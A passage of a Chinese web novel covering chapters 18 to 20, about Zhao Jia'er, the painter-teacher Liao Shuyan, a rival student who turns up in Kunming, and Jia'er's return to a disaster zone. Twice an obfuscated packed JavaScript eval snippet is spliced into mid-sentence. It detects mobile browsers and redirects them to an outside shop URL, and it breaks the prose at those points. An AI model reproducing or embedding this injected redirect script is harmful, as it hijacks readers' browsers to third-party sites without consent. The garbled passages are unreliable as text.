赵嘉儿连忙摇头,转身就跑开了,一骨碌爬上床,藏进了被子里。 廖书言坐在床沿伸手去拽她的被角,她一个劲儿往里躲,从床头躲到床尾。 廖书言不明白她怎么见了他就要躲着他,抓了几下抓不到她,只能放弃:“嘉儿,你没吃晚饭,我留了粥给你,还是温的。” 赵嘉儿没有多大食欲,但还是乖乖钻出被子,看在廖书言的面子上,暖了自己的胃。 她洗完澡躺在床上时,忽然意识到一个严重的问题。 房间里只有一张床。 听到浴室里哗哗的水流声,她不禁红了脸,拉过被子蒙住了头,却又始终睁着眼、竖着耳。廖书言的任何动静,她都能敏锐地捕捉到。 关灯的声音。 应该是关掉了浴室的灯。 打开房间衣柜的声音。 赵嘉儿只听到他的脚步声在床边走了一圈,似乎有呼呼风声传了进来。 她从被子里钻出半边脑袋,见廖书言竟抱了一床被子铺在了房间的地毯上。 “廖老师,您要睡地上?”她惊得从被窝里弹起,“这样会着凉的!” 廖书言认真地道:“只有一张床。” 赵嘉儿心里一阵纠结,仿佛下定决心般,重新躺下将被子裹得严严实实的,露出一大半床位出来:“您一半,我一半,不准越过中间的三八线。” 她见廖书言没有动作,只是看着她笑,心里臊得慌。埋着头爬了起来,她将他铺在地毯上的被子抱起,又铺在空出一半的床位上。 她闷着脑袋做着这一切,都不敢去看廖书言,又不声不响地往床上爬。 廖书言忽伸手从身后抓住了她的胳膊,低声问道:“你真的愿意?” 赵嘉儿没有回答,挣开他的手,钻进被窝,再次将被子蒙过了头。 她感觉床的另一边往下沉了沉,心里更乱更慌,躲在被子里说道:“廖老师,说好了,不能越过……” 话,一瞬间淹没在喉间。 廖书言倾身,一手拉下她死死抓着的被子,一手将她连人带被地抱住了。 猝然与他四目相对,他的眼里藏着缱绻温柔的笑,眼里嵌着灯光,装着她。 被他紧紧抱着的身子,她不敢动,只是觉得有些热。这阵热意一点点浮上心头,烧着她的心,灼着她的肺,让她口干舌燥。 “廖老师……”她抿了抿嘴,声音有些涩。 “嗯?”廖书言的头低下来几分,呼吸落在她颈侧,声音有些压抑和暗哑,“嘉儿,我很想……很想做些非君子的行为。” 他的手轻轻捏住她的下巴,眼睛望着她,似在征询她的意见。 赵嘉儿犹如大梦初醒,闭了眼,转过了脑袋。 18. 第18章 掌中缘(4) “廖老师,我……我身体不舒服……”赵嘉儿缩了缩肩膀,嗡嗡地说着。 有那么一瞬间,她竟然对他生出了非分之想,险些做出了不合规矩的行为。那个时候,她看着他,听到他的那些话,脑海里不知道为什么会突然浮现出了沈梦的脸。 在乌镇的医院,她选择了相信他,跟着他一路来到了云南。 可是,当这颗心慢慢被他占据时,她反而变得敏感多疑了。 她与他才相识多久,怎么就能轻易信了他呢? 赵嘉儿将被子裹紧,转过身子背对着廖书言,小声说道:“廖老师早点睡吧。” 廖书言伸手替她掖好被角,在她为他铺好的被子里默默看了她许久,才伸手揿灭了床头的台灯。 赵嘉儿夜里睡觉有开一盏灯的习惯,房间里突然黑了下来,她惊慌得猛地翻身过来,正对上廖书言温沉的目光。 “怎么了?” 赵嘉儿摇头,又默默转过了身子。 她的头发很长,发梢微卷。因为她先前那番动作,那头长发铺满了纯白色的软枕头,轻轻扫过廖书言的鼻尖,发端还残留着白日里洗发水的香味。 廖书言生怕夜里睡觉时,会不小心压着她的头发,轻轻将她散落在枕头上的头发拢起,放在了她的脑后。 随后,他又默默打开了床头的那盏台灯。 光线昏黄,并不刺眼,在墙上投下圈圈斑驳的光影,映着他与她扭曲变形的黑影。 灯亮起时,赵嘉儿微微张开了眼,心里不知为何又因他这样的细心关怀感动得热泪盈眶?她感觉床头的另一端向下沉了沉,双手紧紧攥着被角,细声问道:“廖老师,您是不是开了灯睡不着?” 廖书言侧身看着她,道:“你睡着了,我再关灯。” 赵嘉儿眼里有些湿,吸着鼻子道:“可不准做坏事!” 廖书言顿时想起了方才的尴尬处境,沉默了半晌,才道:“我不再生出那样唐突你的心思了……对不起。” 赵嘉儿轻声笑了笑:“君子一诺重千金,廖老师别让我失望啊!” 压抑不安的心情瞬间明朗,她往被子里钻了钻,道一声:“廖老师晚安!” 廖书言见她情绪恢复,笑着回了一句:“晚安。” 有一丝光照进眼里,他都无法安睡。但是,为了她能安心入睡,他愿意为她点一盏灯,守着她进入梦乡。 他点开手机看了看时间,确定赵嘉儿已经熟睡,轻轻下了床,走到门外给廖书眉打了一个电话。 电话被接通时,暴风雨的声音一阵阵从那一端钻进他的耳朵里。 “你和姐夫还在案发现场?” “嗯,”廖书眉的声音很低,带着疲惫,“出事司机的妻子和母亲过来了,一直哭着闹着要讨回一个公道,不愿配合警局的调查,怎么也劝不动。那司机是死在送货的路上,算是因公死亡,赔偿是少不了的,但是,她们狮子大开口,觉得一百万太少,开口就是五百万。” 廖书言听她语气愤慨,向房间内看了一眼,才问道:“死因是什么?” “颈部有勒痕,头部遭重击,导致颅内出血而亡,”廖书眉道,“现场检测到他的尿液,他应该是在路边的田地里方便时,被人从背后勒住脖子,再用砖块敲击头部才导致死亡的。” 廖书眉看着风雨里哭成一团的两个女人,皱了皱眉,又对电话那头说道:“这件事我和你姐夫会处理,你别担心。昨晚有人想害你,我已经托人去调查了,你自己当心些,别让当年的悲剧再上演……嘉儿是个好女孩,你若真心喜欢她,就保护好她。” 廖书言艰涩地回了一个字:“好。” 自来云南后,事情接二连三地发生,似有一根无形的线在背后操纵着一切,针对他,针对与廖家有关的人和事。 十多年过去了,一切都风平浪静,他只需要安安静静地画画就好。 可是,这样简单的愿望,似乎变成了一种奢望。 想到赵嘉儿,他又陷入了两难的境地里。 她那么好,他不想错过。 更不想害她。 虽然只有短短几日的相处,她的一颦一笑却已刻入他骨髓,怎么也抹不掉。 他喜欢她的简单美好,喜欢她的执着天真,喜欢她的善良痴傻…… 他喜欢她的一切。 廖书言将从枕头下摸出的两张名片撕毁,投进垃圾箱里。 暴风雨过后,他会送她离开云南。 远离陆嘉清,远离与陆嘉清有关的一切。 赵嘉儿迷迷糊糊听到电话在响,眯着眼在床头摸了半天也没摸到手机,察觉到手机铃声从床头柜那边传来,她支着胳膊爬了过去。 “喂?”她的声音带着没睡醒的慵懒。 “你是哪位?”电话那头的女声有些警惕,语气生冷,“廖老师的手机怎么会在你手上?” 赵嘉儿的脑袋顿时清醒了大半,将手机举到眼前看了看,才意识到自己在迷迷糊糊的状态下接了廖书言的电话。 她才换了新手机,还没熟悉自己的手机铃声,倒是听多了廖书言的铃声,竟然糊里糊涂地当成了自己的。 赵嘉儿猛地坐起身,房间里没有廖书言的身影,而那床被子早已经被他收了起来。 赵嘉儿觉得电话里的女声有些熟悉,来电显示却只是一串号码,她也不确定电话那头的人到底是谁。 “那个……”赵嘉儿懊恼地挠着头,绞尽脑汁解释着,“廖老师不在,你是廖老师的学生么?方便留下姓名么?等他回来……” “你是嘉儿姐姐?” “嗯?”赵嘉儿双目瞬间亮了,“你是沈梦?” “是我,”沈梦的声音透着冷淡,还有一丝警惕,“你和廖老师在一起么?这么早……昨晚也在一起?” 赵嘉儿想起廖书言对她说过的那段师生关系,一时不知道怎么开口。 赵嘉儿正纠结苦恼,沈梦的声音又传了过来,似乎在抽泣:“原来你们在一起了……廖老师他……他原来喜欢你这样的女孩。” “沈梦,”赵嘉儿正了正神色,问道,“你还好么?在乌镇的医院里,我都来不及去看看你,你就离开了。” “我爸不让我与廖老师道别,回到家也不让我出门,将我所有的通讯工具都收走了,还好我偷偷藏了一部手机……”沈梦哭着说道,“嘉儿姐姐,你们在哪里?我能见见廖老师么?” 赵嘉儿有些为难,甚至有些不情愿:“我们在昆明。其实,你不用征询我的意见,我与廖老师之间也不是你想的那样,你如果想见他,可以自己跟他说。” “我知道你们在昆明,我昨天与廖老师联系过了,他说如果我过来昆明的话,可以来找他。但是,我不知道他在昆明的什么地方,”沈梦道,“嘉儿姐姐,我是从家里逃出来的,不知道去哪里……我刚下飞机,我过去找你们。” “我对昆明不熟,”赵嘉儿顿了顿,才道,“不过,你如果要见他,可以打车到云来大酒店。” “好!谢谢你,嘉儿姐姐!”沈梦破涕为笑。 赵嘉儿笑道:“你注意安全。” 挂了电话,她觉得心里有些闷,甚至有些恼。 廖书言被廖书眉一个电话叫醒后,匆匆整理了一番,因为走得急将手机落在了房间里。出门未带房卡,他在706房间待了许久,眼看天色渐渐亮了,才对廖书眉与向云河说道:“嘉儿应该醒了,我先回去了——对了,市医院旁边那条街里原来的粤菜馆有问题,嘉儿被绑那天,菜馆里的老板不在,只留下了一名新招进来的女店员守店,根据老板所述,那女店员很可能就是绑走嘉儿后又逃脱的人。老板突然将门面转让出去,新店主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227876|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却在那儿开了一家私人诊所……” “在市医院旁边开诊所?”向云河有些诧异。 廖书言点头,又看向神情恹恹的廖书眉:“姐姐,你找人留意一下。” 向云河却有些不解:“书言,你为什么不将那一晚的绑架案交给警察去查呢?” “我自有打算,”廖书言不愿与他多说,“我先过去了,你们一夜没睡,先好好休息。” 赵嘉儿洗漱时,在镜子里发现脸上冒出几块红点,不禁嘟了嘟嘴:“我明明把吃进去的松茸都吐出来了,怎么还是过敏了?” 她对镜哀叹了许久,又泄气般地自我安慰着:“还好不严重,应该很快就会好了。不然,让姐姐知道了,又得骂我了。” 赵嘉儿在心里盘算着如何向廖书言解释这件事,门铃突然被按响。她猜到是廖书言,便兴冲冲地跑了过去,在猫眼里确认无误后,她快速打开了门。 廖书言一眼便见到她脸上的几块红点,皱眉问道:“你的脸怎么了?” 赵嘉儿连忙捂住脸,从指缝里偷偷瞧着他:“是不是毁容了?” “没有,”廖书言笑道,“有点像是过敏了,我找药膏给你涂一涂。” 赵嘉儿见他往里走去,忙跟了上去:“脸上能随便涂药膏么?” 廖书言翻出一个蓝色圆盒子,轻轻拧开,里面是白色的药膏。见赵嘉儿犹疑不安地看着他,他笑道:“这是专门针对过敏症状的药膏,食物过敏、蚊虫叮咬、轻微烫伤都可以用。你过来坐下。” “这么神奇?”闻言,赵嘉儿便过去坐在了床边,却并不接过廖书言递到手边的药膏。 廖书言看着她,笑问:“要我帮你涂?” 赵嘉儿使劲点头,将脸凑到他面前。 廖书言的指腹有些凉,将药膏在那一块块红点处慢慢抹匀,忽问道:“怎么会过敏呢?是你对昨天吃的某些食物过敏?” “没有啊!”赵嘉儿目光一闪,有些慌乱,“我就是水土不服,又是闹肚子,又是过敏!” 廖书言盯着她看了一会儿,用食指挖了一指药膏,边涂边说:“早上的压缩饼干和晚上的粥没有问题,中午的很多菜色都是你爱吃的,平常应该经常吃……对松茸过敏?” 赵嘉儿本不想因为松茸一事再与他闹不快,也不想让廖书眉因为此事愧疚,因此,她煞费苦心地吃坏了肚子,忍受了胃里如刀割火烧般的疼痛。却不想,廖书言一下子就能猜到事情的真相。 她不擅长说谎,只能老老实实地点头承认。 廖书言知道她的这些小心思,心里怜她的傻,见她又像是做错事一般,无措地动着脚,他不再提起这件事。 将药膏盒盖拧上,他顺手将药膏塞到她手里:“天放晴了,我今天带你出去兜一圈,明天送你回宜宾。” 赵嘉儿震惊地抬头:“我没说要回去啊?我还要去灾区呢!” “你帮不上什么忙,去了反而有危险,”廖书言劝道,“你姐姐一定很担心你,你回去也能让她安心。” 赵嘉儿心里闷闷的,垂着头道:“我想见嘉清一面。” 廖书言道:“我可以带你去见他。” “廖老师不回去?” “有些事要处理,所以……” 廖书言话未说完,熟悉的铃声便在房间里响起。 他接起电话时,赵嘉儿瞟了一眼,号码有些熟悉。 她突然有些心慌。 见到廖书言,她因为高兴,又因为脸上过敏的事,让她忘记了沈梦在早间来过的电话。 她见廖书言接起电话没说话,脸色却渐渐有些不对,最后,她只听到他回了一句:“知道了。” 房间里,落针可闻。 赵嘉儿正想向他说起早上的电话,廖书言突然向她看来,眉宇间有些不快:“你接我电话了?” 19. 第19章 掌中缘(5) “我听到电话响了,以为是自己的,就……就接了……”赵嘉儿坐在床沿,因为紧张,双脚无措地点着房间里的地毯,眼眶里的泪水突然大滴大滴地落了下来。 落在手指上的眼泪是温热的,似乎能灼伤她的皮肤。 她甚至不敢看他紧绷的脸。 “对不起……”赵嘉儿低头道歉,抽噎着,“我……我不是故意的……我不会再碰您的手机,廖老师可以……可以骂我……真的对不起……” “沈梦已经到了酒店楼下,”廖书言有些后悔给了她脸色看,抽出一张纸递到她手边,“把眼泪擦一擦,我先送她到附近的酒店,你在房间里等我。” 赵嘉儿接过纸巾,擤着鼻子,没有应声。 廖书言见她不愿说话,取过车钥匙出了门。 听到房门关上的声音,赵嘉儿心里一沉,有种说不出的苦闷和酸楚。 她一直相信他与沈梦之间是清白无染的,可是,沈梦前来,他却只字未提此事,甚至都不愿让她与沈梦相见。 不管怎么说,沈梦是她这次出门遇到的第一个朋友。 赵嘉儿收拾着房间里的行李,听到门铃声,满心疑惑。 从猫眼里,她看到是酒店服务员,说一声:“稍等。”转身便从背包里拿出一枚白色口罩罩住了脸,这才放心地打开房门将人让了进来。 女服务员推着餐车进来,将热粥、南瓜饼和虾仁水饺摆在房间的茶几上,彬彬有礼地向赵嘉儿弯了弯腰:“请慢用。” 赵嘉儿有些糊涂:“我没叫餐啊?” “是廖先生下楼点的餐,让我们直接送上来。” 赵嘉儿“哦”了一声,勉强露出一丝笑容:“谢谢你。” 女服务员脸上始终保持着甜美的职业微笑:“祝您用餐愉快!” 赵嘉儿本来打算自己去外面随便吃一些,廖书言既然为她点了餐,她只能一个人坐在茶几旁吃着早餐。 她一个人吃不了这么多,将最合自己口味的虾仁水饺吃完,又喝了几口白粥、吃了两块南瓜饼。她将没吃完的白粥和南瓜饼重新装好,放在了房间里的保温箱里,自己给手腕上的磨伤换了药。 正整理着自己的背包时,茶几上的手机震动了一下,是一条陌生短信。 赵嘉儿疑惑不解地点开,是沈梦发过来的信息: 嘉儿姐姐,这是我的新号码,你存一下。廖老师说你们住的酒店没有空房间了,要先帮我找附近的酒店,要耽误一些时间,你就把廖老师借我半天,等找好了酒店,我就去找你。 廖书言是借沈梦之口向她传达此事么? 赵嘉儿默默退出了短信界面,清点着背包里的行李,挑挑拣拣,还是将那盒药膏放进了包里。 将行李整理打包好,她找出床头柜下的笔纸,坐在茶几旁,在纸上写写划划,看着最后算出来的一长串数字,她不由拧紧了眉头:“我欠廖老师这么多钱啊!” 她在网上银行上查了查自己的工资卡,发现这两年攒下来的钱不足三十万,用笔尖抵着额头,长叹一口气:“廖老师为了救我,损失了二十万,加上这一路上的开销,还了债,我就要喝西北风去了!” 将欠下的二十二万转入一张不常用的银行/卡里,她将算账的纸张撕成碎片扔进了垃圾篓里,又将银行/卡和一张字条压在了茶几上的台历下。 灭了房间内的灯,她在房间里望了一圈,直到确定没有落下行李,这才从卡槽里拔出房卡,念念不舍地出了708。 706房间睡着廖书眉夫妇,赵嘉儿不知道怎么与廖书眉道别,在那扇门前伫立了片刻,便背着包进了电梯。 在酒店大堂内,有房客在喝茶闲聊,赵嘉儿环顾一周,深吸一口气向前台走去。 她将房卡交到值班的前台小姐手中,一遍又一遍地叮嘱着:“廖先生回来的时候,一定要将房卡交到他手中!” 前台小姐疑惑地瞅着她,核对了708的房间信息,笑道:“好的。” 赵嘉儿出了酒店,感觉今天的阳光有些刺眼,在酒店门前的马路边拦了一辆出租车:“师傅,去市公安局。” 廖书言要送她离开云南,她还不想回去。离开鲁甸的时候,她既然说出了会再回去的话,就不能这样一走了之。 廖书言在附近找了一家酒店,沈梦办理了入住手续后,在电梯里,他抬腕看了看表:“你吃了早餐,先在酒店休息,我找当地的导游带你在云南玩一玩,你尽兴了就回去。” 沈梦有些沮丧:“廖老师不跟我一起么?” “我来云南不是为了玩。”廖书言帮她将行李箱送出电梯,转身又进了电梯。 沈梦使劲按着电梯的上下键,趴在电梯门口,殷切地道:“老师不坐坐就走么?是不是我爸那天在医院里给了您难堪,您就……就不待见我了……” 廖书言笑道:“你怎样骗了你父母,让他们误会了我们之间的关系,我不追究。不过,看在师生一场的份上,作为老师,我希望沈梦同学能自尊自爱。” 沈梦不甘心地笑了笑:“老师能与才相识几天的嘉儿姐姐同居,真的是看上她了?不是一时冲动才睡在了一起?” 廖书言感觉这话十分刺耳难听,眼神骤冷,沈梦却已退出电梯门,拉着行李箱就走了。 电梯门缓缓合上,他呼出一口气,缓解了心中的郁结。 在车上,他想起赵嘉儿早间哭泣的样子,路过一家披萨店时,想要买一份她最爱吃的鲜橙披萨来赔罪。店里没有鲜橙披萨,只能现做,他只好坐在店里默默等着。 他看着她的微信头像,点开,又关上。 最后,还是点开敲下了一句话。 言:早餐有没有吃? 音沉大海。 他焦急不安地等了十分钟左右,手机像是失去信号一样,没有任何消息传送进来。 时间一分一秒地过去,廖书言心里始终牵挂着赵嘉儿,猜测着她是不是在生气,故意不理他。 新鲜的鲜橙披萨出炉时,他又根据她平常的口味,挑了几样精致的小蛋糕,让老板一并给包了起来。 廖书言的车在云来大酒店停下,门迎迎了上来,他小心翼翼地拎出披萨和蛋糕,经过酒店大堂时,前台小姐忽然叫住了他。 “廖先生!” 廖书言停住脚,眼露疑惑,慢慢向前台走去。 前台小姐将一张金属材质的房卡推到他面前,微笑着说:“这是赵小姐托我保管的您的房卡,请收好。” 廖书言拿起房卡看了看,确实是他房间的房卡。他心中不解,更有些慌乱:“她离开酒店了?” “是的,赵小姐是背着包离开的,”前台小姐有些疑惑,“赵小姐离开没与您说么?” 廖书言笑了笑,只道:“谢谢。” 他收起房卡,出了电梯就直奔708房间。房间内的摆设丝毫未动,但却少了她的身影和她的行李。 廖书言将手中的包装盒放在房间的书桌上,焦急无措地在有限的空间里转来转去,掏出手机走向窗边。在经过窗边的茶几时,他见台历下压着字条,伸手取了出来。 在字条下,还压着一张银行/卡。 廖书言在茶几旁坐下,拨出去的号码一直无人接听,而他在看到赵嘉儿留下的字条时,整张脸顿时绷得紧紧的。 廖老师,早餐我没吃完,实在吃不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227877|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了,剩下的我放在保温箱里了,没有浪费。 还有,我算了算欠您的钱,七七八八加起来,也差不多二十二万,茶几上的银行/卡是还给您的钱,密码我写在字条的背后了。 我也不知道该说些什么了。 总之,真的很谢谢廖老师这一路的照顾。那一晚,要不是廖老师,我不知道还能不能活着去见姐姐呢! 就这样吧。 有缘再见。 紧贴着左耳的手机听筒里传来忙音,电话无人接听,廖书言将手机放下,拿过那张银行/卡,紧紧地攥在了手里。 卡片硌得他的手心生疼,他却恨不得将其折断。 随手将银行/卡扔在茶几上,他盯着手中的字条看了一遍又一遍,确信她是真的就这样离开了,才向后仰起了身子。 背靠着藤椅椅背,廖书言举着字条看着。 看的不再是白纸上的内容,而是她用铅笔写出来的字。 第一次见到她的字,纸上的字迹也如同她的人一样,纤细柔弱,令人赏心悦目。 目光瞥到书桌上的披萨和蛋糕,他坐直身子,将字条和银行/卡收起,再次拨打她的电话。 嘟——嘟——嘟—— 一声一声,都似锤子在他心上敲打,他不敢呼吸,生怕在电话接通的那一刻,错过了她的每一个音节。 短短十几秒的等待,他也觉得漫长。 这一次,电话通了。 “廖老师。” 是她的声音,轻灵悦耳,暖暖的,如同一泓清泉在他心上流过。 而他却发现自己的嗓子有些干,有些哑,许久都发不出声音。 他在酝酿着要说出口的话,电话那头也沉默着,静得只听得到她的呼吸声。 “我给你买了你最爱吃的鲜橙披萨,”廖书言的语气显得小心翼翼的,又藏着隐隐的期待,“你回来吃么?” “谢谢廖老师!” 鞋底摩擦地板的声音,一下一下,她的呼吸急促了一些,是在走路,手机里也传来了街上汽车的鸣笛声。 “你在哪里?” “我刚从公安厅里出来,”赵嘉儿的情绪有些低落,很快又恢复过来,语气有些踟蹰,“对了,廖老师,您回酒店了么?有没有看到我给您留的字条和银行/卡?” 廖书言不去回答她:“为什么要一个人离开?” 赵嘉儿喉咙一堵,在附近的公交站牌处停下,低着头没有回话。 “嘉清还未受审判刑,这个时候不允许探望,”廖书言走到窗边,缓缓地道,“我答应带你见他,你怎么一个人去了?” 赵嘉儿踢着鞋尖,慢吞吞地说着:“我知道我一个人来见不着他,我也不是为了见到他才来了,是交给了警方一份能降低他罪行的录像。” 廖书言有些吃惊,没有再问下去,再次问道:“你还在公安厅附近么?” 赵嘉儿沉默了一阵,道:“廖老师,您别过来了,我想好接下来要去的地方了。有缘……再见吧。” “我送你一程。” “不用,”赵嘉儿苦笑着,“我已经麻烦了您很长一段时间,还害得您破了财,甚至差点没了命。廖老师,您……您就陪着沈梦在昆明好好逛逛,不用担心我!” 廖书言笑得无奈:“你急着离开,是因为她?她在电话里跟你说了什么?” “什么也没说,”赵嘉儿不想多谈,急急地道,“廖老师,车来了,有机会再联系!” 她匆匆挂了电话,随便钻进了进站的一辆公交车上。 房间里,廖书言望着突然被挂断的手机,在窗边站了许久,又缓缓拨下了另一通电话号码。 20. 第20章 池中物(1) 重回鲁甸,在苏杭的骂声和帮助下,赵嘉儿觉得她总算有了一点副队长的样子,因此得到苏杭的一声表扬,她便觉得是最大的荣幸。 她向来讨厌血水和消毒水的气味,可是,在这样的环境下,她不得不克服这重心理障碍,时时刻刻与之为伍。 她偶尔会看到池勉与他的同事搬着摄像机,跋山涉水地去记录那些感人的瞬间,晚上回来又会细细地说给她听。 池勉与她在同一片灾区,但是相聚的时间并不多,他却每天都要过来。 晚上,赵嘉儿在棚子里点上一圈蚊香,便抱着相机去外面守夜。 灾区的夜空星光璀璨,是在高楼耸立的城市里看不到的景色,她恍然想起那一夜在星光下偷偷拍下的照片。灾区的废墟一处处被清理,她找不到廖书言当初站立的那片废墟,只能去相机里一张张翻找。 照片里的人,双目正望着她,悲悯动人。 “你男朋友这次没跟你一起来啊?” 赵嘉儿正盯着照片上的廖书言出神,没留意到身后来了人,被突然出现的声音吓了一跳。 “苏……苏队长?”赵嘉儿慌乱地关了相机,结结巴巴地说道,“你……你怎么……还没睡啊?” “怕你一个人无聊啊!”苏杭眨着眼,向她怀里的相机挑眉,“在想男朋友啊?” 赵嘉儿苦着脸解释着:“廖老师不是我男朋友。” 苏杭抱臂斜着眼瞅着她,嘲笑道:“还没确定关系啊?现在都是什么年代了,不要太矜持太扭捏,喜欢就去追呀!” 赵嘉儿急得满面通红,小声怼了一句:“你跟徐鸣天天打情骂俏,你怎么不去追呀?” “啊?”苏杭惊讶不已,气咻咻地道,“我去追他?乳臭未干的小屁孩儿,我才不会看上他,是他缠着我找骂好不好?” 苏杭留了一头干爽利落的短发,生气时,总喜欢抓头发。 赵嘉儿见她双手抓着头发,才知道自己会错了意,生怕她将怒火烧到自己身上,忙问道:“那队长喜欢什么样的人?” 苏杭愣了一会儿,脸蛋上慢慢泛起了红晕,笑着说道:“踏实负责,幽默风趣,乐观开朗,当然,长相不能太寒碜人了……像你那记者朋友就不错,长得也挺帅气的。” “你看上池小勉了?”赵嘉儿有些意外。 苏杭大大方方地点了点头,却有些颓丧:“可我看得出来,他喜欢你啊。” 她又抓起那头蓬松的短发,苦恼地看着赵嘉儿,一双眼在她身上来来回回打量,看得赵嘉儿有些莫名其妙。 “队长,你别这样看我……” 苏杭眼里有了光,笑道:“你说我是不是要留长发?徐鸣总骂我是假小子,会不会你朋友……他也没把我当成女孩子啊?” 赵嘉儿其实并不太懂男女之间的感情,除了与陆嘉清的那段恋情,她对这方面的事并不擅长,也不太懂男孩子的心思。 池勉的心思她虽然懂一些,但是,她知道,他们只能做朋友。 看着苏杭有了小女孩的心思,赵嘉儿觉得有趣,端起相机将她这副样子拍了下来。 苏杭叫道:“你拍我干什么?” “给池小勉看啊!”赵嘉儿笑道,“苏队长留长发一定好看!浓眉大眼,只要不常生气骂人,就更好看了!” 苏杭抱臂笑道:“你又在找骂,是不是?赵嘉儿,我有几天没骂过你了?赶紧给我删掉!” 赵嘉儿见她卷起衣袖要来抓她,抱起相机,笑着跑开了。 两人你追我赶,苏杭哪里想得到看着柔柔弱弱的赵嘉儿,在平地上跑起来竟然如此轻快,她竟然追不上。 围着周围的棚子躲躲藏藏,赵嘉儿再回到志愿者的救济棚时,苏杭气喘吁吁地追上来,叉着腰瞪着她:“你是不是锻炼过?” 赵嘉儿点头:“大学里的时候,每天都会晨跑和夜跑。” 这是被陆嘉清逼出来的。 陆嘉清的父亲是警察,他也从小跟着父亲锻炼,渐渐成了一种习惯。大学里,他常常拉着池勉和她去锻炼,虽然其他体能跟不上,但是,跑步却比其他人强了一些。 那个时候,陆嘉清总会在天才蒙蒙亮时,在她宿舍楼下大声喊叫:“嘉儿,起床跑步啦!” 因此,整栋楼都知道了他们的关系,他也因此被楼上的女孩子扔下许多东西砸他。后来,因为他的号召,楼里的女孩子竟也有了晨起跑步的习惯,甚至自行创建了“女子晨跑社”,公然推举陆嘉清做社长。 然而,事实上,陆嘉清什么事都不管,只在幕后出谋划策,所有的活动项目都是由她负责的。 现在回想起来,陆嘉清其实真的很受女孩子欢迎。 在两人确定关系后,依旧会有女孩前来示爱,陆嘉清拒绝的方式万年不变。 他会将她推出来,煞有介事地说:“我女朋友是女子晨跑社的总策划,身边有一堆小姐妹,要是知道你打我的主意,你想想,一大堆女人去找你算账,是不是很可怕很恐怖?” 一传十,十传百,赵嘉儿在学校里竟成了母老虎一样的人,从此,也没有女孩子往陆嘉清身边凑了。 赵嘉儿曾与陆嘉清理论过,却总说不过他。 因为他偶尔说出来的甜言蜜语,她真的招架不住。 “我们身边再也没有不长眼的追求者,我们就只属于彼此,一辈子都在一起。” 苏杭见赵嘉儿默默走到一边拍着照,察觉到她的情绪有些低落,上前说了一句:“你进去睡吧,我来守夜。” 赵嘉儿回头粲然一笑:“那就辛苦队长了!我先到附近转一转,再拍一组照片就回来!” 因为突然想到了陆嘉清,赵嘉儿的兴致并不高,随便拍了几组照片,就顺着来时的路往回走。 转身的刹那,她忽然移不动脚了。 她应该有一周的时间没见到廖书言了。她拼命忍住去联系他的冲动,却不想思念反而愈发重了,突然在这里遇见他,她有些不敢相信。 灯光、星光在他身侧聚成一团,她不敢靠近,又不想离开。 如果说陆嘉清是她心上的一道疤,一碰就疼,那么,廖书言就是她心中的一束光,触不可及。 他站在十米开外的平地上,静静地注视着她,眼里有光,还有一丝笑。 她向前迈了两步,又慢慢退了回来,突然转身惊慌失措地跑开了,眼眶便湿了。 廖书言看着她的背影在视线里一点点消失,在原地默默站了许久,吴帆从一旁的救济棚里钻出来,顺着他的目光看了过去。 “不去追回来啊?” 廖书言转过身子,向前走了两步,又回头看了看赵嘉儿消失的方向,笑道:“她不想见我,我再等个合适的时机。” 吴帆没有多说,又问道:“现在各大新闻媒体都是向氏医药的负/面新闻,连几年前的假药事件也扒了出来,你们姐弟俩还打算帮么?” “几年前的公关危机几乎让公司破产,这一次,即使救回来了,也成不了气候,”廖书言道,“姐姐最初嫁给他即使是迫于无奈,可毕竟做了五六年的夫妻,还是想帮一帮他。” 吴帆嗤笑不已:“廖大小姐真是个傻女人!向云河就是个扶不起的阿斗!所以,你是打算利用自己的人脉和资金帮他解决这次危机?” 廖书言点头:“我找了人去收购向氏医药,向氏依然可以合伙人的身份入股。这样,好歹比申报破产强一些。” “查清是谁想害你们了么?” “没有,”廖书言拧着眉头,道,“劫持医药救援车与绑架嘉儿的是同一伙人,应该不是巧合,杀害司机的凶手警方已经查出了结果,是司机的妻子,但是她一口咬定是姐夫指使她这么干的,再问下去,她就装疯卖傻。” 吴帆觉得脊背生寒,抖了抖肩:“最毒妇人心!枕边人也不放过,这是有多大的仇恨呀!” 廖书言无奈地笑道:“丈夫酗酒好赌,夫妻感情不和,背后有人用金钱诱惑,积怨日深的妻子也就冒险做了这件事。幕后指使者很小心谨慎,也很狡猾狠毒,警方要查需要层层审批,我打算自己查。” 吴帆一惊:“你要怎么查起?” 廖书言笑道:“本来毫无头绪,如今倒是有了眉目。” “怀了你孩子的女学生?” 廖书言陡然眯了眼盯着他,吴帆立马摆手笑道:“我的错——她有问题?” 廖书言点头:“我没与她说过我在昆明,她竟然直奔我而来了昆明,嘉儿……嘉儿多半是因为那通电话才躲着我。” 吴帆打了一个哈欠,皱了皱眉:“你身边有人向她泄露了你的行踪?不过不应该啊,能掌握你最近行踪的人,除了我,廖大小姐和向云河,也只有……” 他见廖书言脸色变了,立马陪上笑脸:“不是怀疑你的嘉儿……说实话,跟你关系亲密的亲友有几个认识你的学生?但是,赵小姐既跟你在一起,又认识那个沈梦,会不会是两人私下有联系,赵小姐无意中透露了你们的行踪?” 廖书言想了想,摇头:“不会。” 在他的认知里,他不认为赵嘉儿会与才相识几天的人交心,即使她与沈梦谈得来,也不会向她透露他的行踪,何况这一路上,她从未与他提到沈梦。 